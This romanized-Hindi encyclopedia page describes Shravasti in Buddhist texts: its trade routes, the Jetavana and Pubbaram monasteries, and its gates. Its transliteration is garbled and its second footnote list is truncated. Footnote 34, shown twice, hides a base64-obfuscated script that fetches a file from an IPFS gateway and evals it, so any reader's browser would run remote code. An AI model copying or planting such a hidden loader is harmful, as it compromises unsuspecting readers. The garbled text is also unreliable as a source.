बौद्ध साहित्य में श्रावस्ती

	bauddh sahity mean shravasti
	prachin jain mandir ke avashesh, shravasti\|200px\|center
vivaran	shravasti uttar pradesh ke prasiddh aitihasik paryatan sthaloan mean se ek hai. bauddh evan jain tirth sthanoan ke lie shravasti prasiddh hai. yahaan ke utkhanan se puratattv mahattv ki kee vastuean mili haian.
zila	shravasti
nirman kal	prachin kal se hi ramayan, mahabharat tatha jain, bauddh sahity adi mean anek ullekh.
marg sthiti	shravasti balaramapur se 17 ki.mi., lakhanoo se 176 ki.mi., kanapur se 249 ki.mi., ilahabad se 262 ki.mi., dilli se 562 ki.mi. ki doori par hai.
prasiddhi	puravashesh, aitihasik evan pauranik sthal.
kab jaean	aktoobar se march
kaise pahuanchean	havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda	lakhanoo havaee adda
relave steshan	balaramapur relave steshan
bas adda	mega tarminas goanda, shravasti shahar se 50 ki.mi. ki doori par hai
sanbandhit lekh	jetavan, shobhanath mandir, moolagandh kuti vihar, kaushal mahajanapad adi. ;

shravasti vishay soochi

shravasti parichay sthiti namakaran vikas mahakavyoan tatha puranoan mean varnan jatakoan mean varnan bauddh sahity mean ullekh jain granthoan mean ullekh fahyan ka varnan hven tsaang ka varnan utkhanan kary sahet ka utkhanan mahet ka utkhanan

buddh kal mean kaushal jaise samriddhashali janapad ki rajadhani hone ke karan shravasti ka ooancha sthan tha. sath hi bauddh dharm ke prachar ka pramukh keandr hone ke karan bauddh sahity mean is nagar ka vishad varnan milata hai.

lalitavistar^[1] ke anusar shravasti koshal janapad ki rajadhani thi. yah rajaoan, rajakumaroan, mantriyoan, sabhasadoan tatha unake samarthakoan-kshatriyoan, brahmanoan evan grihasvamiyoan se bhari huee thi.^[2] is nagar ke nagarik tathagat ke b de prashansak the.
bauddh dharm ke prachar ki or sanket karate hue miliandapanhoan mean bhikshuoan ki sankhya 5 karo d batalayi gee hai.^[3], jo nishchay hi atiranjana hai.
buddhaghosh ke anusar us samay shravasti mean 57 hazar parivar nivas karate the.^[4] isi granth mean yahaan ki janasankhya 18 karo d bataee gee hai, jo spashtat: atiranjit hai.^[5]

vyapar ka keandr

jetavan math, shravasti|left|250px|thumb shravasti ki bhautik samriddhi ka pramukh karan yah tha ki yahaan par tin pramukh vyaparik path milate the jisase yah vyapar ka ek mahanh keandr ban gaya tha. yah nagar poorv mean rajagrih se, uttar-pashchim mean takshashila se aur dakshin mean pratishthan se ju da hua tha.^[6] rajagrih se 45 yojan door akar buddh (shasta) ne shravasti mean vihar kiya tha.^[7] shravasti se rajagrih ka rasta vaishali se hokar gujarata tha. yah marg setavy, kapilavastu, kushinara^[8], pava, bhoganagar aur vaishali se hokar jata tha.^[9] pratishthan ko jane vala marg saket, koshaanbi, vidisha, gonadha aur ujjain se hokar gujarata tha. is nagar ka sanbandh varanasi se bhi tha.^[10] in donoan ke madhy kotagiri namak sthan p data tha.^[11] shravasti se takshashila ka marg soreyy adhunik soroan hote hue jata tha. is marg mean sarth nirantar chalate rahate the.^[12] is prakar ham dekhate haian ki shravasti ka bauddh kal mean bharat ke sabhi pramukh nagaroan se ghanishth vyaparik sanbandh tha.

pali sahity mean shravasti

pali sahity mean vibhinn nagaroan se shravasti ki doori di huee hai, jisase usaka vyaparik mahattv prakat hota hai. shravasti se takshashila 192 yojan^[13], sankashy (sankisa) se 30 yojan^[14], saket 6 yojan, rajagrih 60 yojan, machchhikasand 30 yojan^[15] ugranagar 120 yojan tatha chandrabhaga nadi^[16] 120 yojan^[17] par thi. prachin bharat mean ‘yojan’ ki map nishchit n hone ke karan shravasti se in sthanoan ki vastavik doori nishchit karana kathin hai.

buddh ke upadesh

shravasti se bhagavan buddh ke jivan aur karyoan ka vishesh sanbandh tha. ullekhy hai ki buddh ne apane jivan ke aantim pachchis varshoan ke varshavas shravasti mean hi vyatit kie the. bauddh dharm ke prachar ki drishti se bhi shravasti ka mahattvapoorn sthan tha. bhagavan buddh ne pratham nikayoan ke 871 suttoan ka upadesh shravasti mean diya tha, jinamean 844 jetavan mean, 23 pubbaram mean aur 4 shravasti ke as-pas ke any sthanoan mean upadisht kie ge.^[18] bauddh dharm prachar keandr ke roop mean shravasti ki khyati ka jnan yahaan upadisht sootroan ke adhar par nishchit ho jata hai.

jetavan

REDIRECTsaancha:mukhy

buddh ke jivan-kal mean shravasti ke dakshin mean sthit jetavan evan pubbaram do prasiddh vaiharik adhishthan evan bauddhamat ke prabhavashali keandr the. bauddh granthoan ke anusar jetavan ka aropan, sanvardhan tatha paripalan jet namak ek rajakumar dvara kiya gaya tha.^[19] rajagrih mean venuvan aur vaishali ke mahavan ke hi bhaanti jetavan ka bhi vishesh mahattv tha.^[20] is nagar mean nivas karane vale anathapiandak ne jetavan mean vihar^[21], pariven^[22], upasthan shalaean^[23], kapiy kuti^[24], chankram^[25], pushkaraniyaan aur mandap banavae.^[26] anathapiandak ke nimantran par bhagavan buddh shravasti sthit jetavan pahuanche. anathapindak ne unhean khady bhojy apane hathoan se arpit kar jetavan ko bauddh sangh ko dan kar diya. isamean anath piandak ko 18 karo d mudraoan ko vyay karana p da tha. ullekhaniy hai ki is ghatana ka aankan bharahut kala mean bhi hua hai.^[27] tathagat ne jetavan mean pratham varshavas bodhi ke chaudahavean varsh mean kiya tha. isase yah nishchit hota hai ki jetavan ka nirman isi varsh (514-513 ee. varsh poorv) mean hua hoga. ullekhaniy hai ki jetavan ke nirman ke pashchath anathapindak ne tathagat ko nimantrit kiya tha.

pubbaram

jetavan, shravasti|250px|left|thumb jetavan ke pashchath doosara mahattvapoorn sthan pubbaram (poorvaram) tha. isaka nirman nagar ke ek pramukh dhanik seth migar (mrigadhar) ki putravadhoo vishakha ne karaya tha. yah nagar ke poorvi dvar ke pas sthit tha.^[28] sanbhavat: isilie isaka nam poorvaram p da. isake nirman tatha samarpan mean lagabhag 27 karo d mudraoan ka vyay karana p da tha. yah lak di (rukkh) tatha patthar dvara nirmit tha, jisamean do manjilean thian.^[29] poorvaram vihar ki adhunik sthiti sahet-mahet ke pas unake poorv ka hanumanava sthan hai.

nagar ka varnan

isake atirikt bauddh sahity mean mallikaram ka nirman prasenajit ki maharani mallika dvara kiya gaya tha. yah ek paribrajakaram tha; jahaan vibhinn sampradayoan ke madhy shastrarth hota tha. tirthakaram ek b da aram tha jisamean 700 se 3000 tak parivrajak nivas kar sakate the. is nagar ki parikha, prakar evan nagar dvar ke vishay mean prachin granthoan mean ullekh milate haian. us samay bhavan nirman mean mukhyat: lak di ka upayog hota tha. nagar ke charoan or mitti ke prakar bane the. nagar ke dvar evan rajamarg paryapt chau de the. sanyukt-nikay mean ullekh hai ki yahaan ke nagarik hathi^[30] rajamargoan par nikalate the.^[31] shravasti mean mookhyat: char daravaze the, jinamean tin to uttar-poorv evan dakshin daravazoan ke nam se prasiddh the. inamean se jetavan se nagar mean ane ka pravesh dvar dakshin dvar tha. poorvaram poorv daravaze ke samane tha. inake atirikt pashchim daravaze ka hona bhi svabhavik hai tathapi isaka varnan tripitak ya atthakatha mean nahian milata. ullekhaniy hai in pravesh-dvaroan ke atirikt utkhanan se kee any pravesh dvaroan ka bhi pata chala hai, lekin ye daravaze vastavik nahian the. balki samay-samay par prakaroan ke gir jane ke karan suvidhanusar prayog mean lae ge sthanapann daravaze the.^[32]

any prasiddh sthan

is nagar ke any prasiddh sthanoan mean 'poorvaram aur mallikaram' ullekhaniy haian. poorvaram ka nirman nagar ke dhanik seth mrigadhar ki putravadhu vishakha ke dvara karaya gaya tha. yah nagar ke poorvi daravaze ke pas bana tha. sanbhavat: isiliye isaka nam poorvaram^[33] p da. yah do manzila bhavan tha, jisamean mazabooti lane ke liye pattharoan ki chinaee ki gee thi. lagata hai ki mallikaram isase b da vishram-bhavan tha, jisamean oopar aur niche kee kamare the. isaka nirman shravasti ki mallika nam ki samrajni ke dvara karaya gaya tha. nagaroan mean ane vale bauddh paribrajak, nirgranth, jain sadhu-sannyasi aur nana dharmoan ke anuyayiyoan ke vishram tatha bhojan-vastr ki poori sukh-suvidha thi. gautam buddh ke priy shishy anand, sariputr, maudgalyayan tatha mahakashyap adi ne bhi vahaan ke nagarikoan ko apane sadupadeshoan se prabhavit kiya tha. unaki asthiyoan ke oopar yahaan stoop bane huye the. ashok dharm-yatra ke prasang mean shravasti aya hua tha. usane in stoopoan par bhi pooja chadhaee thi.^[34]

left|30px|link=jatakoan mean varnit shravasti|pichhe jaean

jatakoan mean varnit shravasti

bauddh sahity mean shravasti

jain granthoan mean shravasti

right|30px|link=jain granthoan mean shravasti|age jaean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ lalitavistar adhyay 1
↑ vimalacharan laha, shravasti in iandiyan litarechar, di memayars aph di arkiyolajikal sarve aph iandiya bhag 50, prishth 20
↑ ‘nagare maharaj panchakotimatta ariyasavaka bhagavati upasak-upasikayo sattanna sahasani tojhi satahasasani anagami phale patitthita ne sabbeapi gihi n pachchajita.’ miliandapanho, prishth 349
↑ paramatthajotika, bhag 1, prishth 371; samantapasadika, bhag 3, prishth 636
↑ 46- bharatasianh upadhyay, buddhakalin bharatiy bhoogol (hindi sahity sammelan, prayag, sanvath 2018), prishth 237
↑ vishuddhanand pathak, histri aph koshal, (motilal banarasidas, varanasi 1963), prishth 59
↑ ‘rajaganh kapilavasthuto dooran satthi yojanani, savatthi pan panchadash. sattha rajagahato panchatalisayojanan agantya savatthiyan viharati.’ machjhimanikay, atthakatha, 1/3/4
↑ kushinagar
↑ pavamotichandr, sarthavah, bihar rashtrabhasha parishad, patana, 1953), prishth 17
↑ suttanipat (saranath sanskaran), prishth 212-13
↑ machjhimanikay, pali teksth sosayati, landan, bhag 1, prishth 473; motichandr, sarthavah, prishth 17
↑ bharatasianh upadhyay, buddhakalin bharatiy bhoogol, prishth 239
↑ ‘vukkasati nam kulaputro (takkasalato) atth hi unakani yojanasatani gato jetavanadvarakothakasth par samipe gachchhatto’ machjhimanikay, atkakatha, 3/4/10
↑ ‘savatthito sankasy nagaran tisayojanani’ dhammapad atthakatha, 14/2
↑ rahul saankrityayan, puratattv nibandhavali, prishth 20
↑ chenav
↑ ‘visan yojanasatan pachchuggatva chandrabhagay nadiyatore’ dhammapad atthakatha 6/4
↑ bharatasianh upadhyay, buddhakalin bharatiy bhoogol, prishth 237
↑ tanhi jeten rajakumaren ropitan sanvarddhiant paripalit. so ch tassi sami ahosi, tasma, jetavane ti vuchchati॥ papanchasoodani, bhag 1, prishth 60
↑ udayanarayan ray, prachin bharat mean nagar tatha nagar jivan, prishth 118
↑ bhikshu vishram sthal
↑ aanganayukt ghar
↑ sabhagrih
↑ bhandar
↑ tahalane ke sthan
↑ vinayapitak (hindi anuvad), prishth 462; buddhakalin bharatiy bhoogol, prishth 240; tul. vishuddhanand pathak, histri aph koshal, (motilal banarasidas, varanasi, 1963), prishth 61
↑ barua, bharahut, bhag 2, prishth 31
↑ dhammapadatika, bhag 1, prishth 384; aanguttaranikay, pratham bhag (hindi anuvad, bhadant anand kausalyayan, mahabodhi sabha, kalakatta 1957, prishth 212 memayars adi di arkiyolajik sarve aph iandiya bhag 50, prishth 25
↑ rahul saankrityayan, puratattv nibandhavali, prishth 79
↑ hatthikhandamh bharoheyy
↑ majjhimanikay, bhag 2, prishth 22
↑ dekhean, arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 84
↑ arthath poorabi math
↑ hamare purane nagar |lekhak: d aau. uday narayan ray |prakashak: hindustan ekedemi, ilahabad |prishth sankhya: 43-46 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] tavistar adhyay 1

[2] vimalacharan laha, shravasti in iandiyan litarechar, di memayars aph di arkiyolajikal sarve aph iandiya bhag 50, prishth 20

[3] ‘nagare maharaj panchakotimatta ariyasavaka bhagavati upasak-upasikayo sattanna sahasani tojhi satahasasani anagami phale patitthita ne sabbeapi gihi n pachchajita.’ miliandapanho, prishth 349

[4] ramatthajotika, bhag 1, prishth 371; samantapasadika, bhag 3, prishth 636

[5] 46- bharatasianh upadhyay, buddhakalin bharatiy bhoogol (hindi sahity sammelan, prayag, sanvath 2018), prishth 237

[6] vishuddhanand pathak, histri aph koshal, (motilal banarasidas, varanasi 1963), prishth 59

[7] ‘rajaganh kapilavasthuto dooran satthi yojanani, savatthi pan panchadash. sattha rajagahato panchatalisayojanan agantya savatthiyan viharati.’ machjhimanikay, atthakatha, 1/3/4

[8] ushinagar

[9] vamotichandr, sarthavah, bihar rashtrabhasha parishad, patana, 1953), prishth 17

[10] suttanipat (saranath sanskaran), prishth 212-13

[11] y, pali teksth sosayati, landan, bhag 1, prishth 473; motichandr, sarthavah, prishth 17

[12] ratasianh upadhyay, buddhakalin bharatiy bhoogol, prishth 239

[13] ‘vukkasati nam kulaputro (takkasalato) atth hi unakani yojanasatani gato jetavanadvarakothakasth par samipe gachchhatto’ machjhimanikay, atkakatha, 3/4/10

[14] ‘savatthito sankasy nagaran tisayojanani’ dhammapad atthakatha, 14/2

[15] rahul saankrityayan, puratattv nibandhavali, prishth 20

[16] v

[17] ‘visan yojanasatan pachchuggatva chandrabhagay nadiyatore’ dhammapad atthakatha 6/4

[18] ratasianh upadhyay, buddhakalin bharatiy bhoogol, prishth 237

[19] tanhi jeten rajakumaren ropitan sanvarddhiant paripalit. so ch tassi sami ahosi, tasma, jetavane ti vuchchati॥ papanchasoodani, bhag 1, prishth 60

[20] udayanarayan ray, prachin bharat mean nagar tatha nagar jivan, prishth 118

[21] shu vishram sthal

[22] yukt ghar

[23] sabhagrih

[24] r

[25] tahalane ke sthan

[26] vinayapitak (hindi anuvad), prishth 462; buddhakalin bharatiy bhoogol, prishth 240; tul. vishuddhanand pathak, histri aph koshal, (motilal banarasidas, varanasi, 1963), prishth 61

[27] rua, bharahut, bhag 2, prishth 31

[28] tika, bhag 1, prishth 384; aanguttaranikay, pratham bhag (hindi anuvad, bhadant anand kausalyayan, mahabodhi sabha, kalakatta 1957, prishth 212 memayars adi di arkiyolajik sarve aph iandiya bhag 50, prishth 25

[29] rahul saankrityayan, puratattv nibandhavali, prishth 79

[30] tthikhandamh bharoheyy

[31] y, bhag 2, prishth 22

[32] , arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 84

[33] rthath poorabi math

[sravasti-34] re purane nagar |lekhak: d aau. uday narayan ray |prakashak: hindustan ekedemi, ilahabad |prishth sankhya: 43-46 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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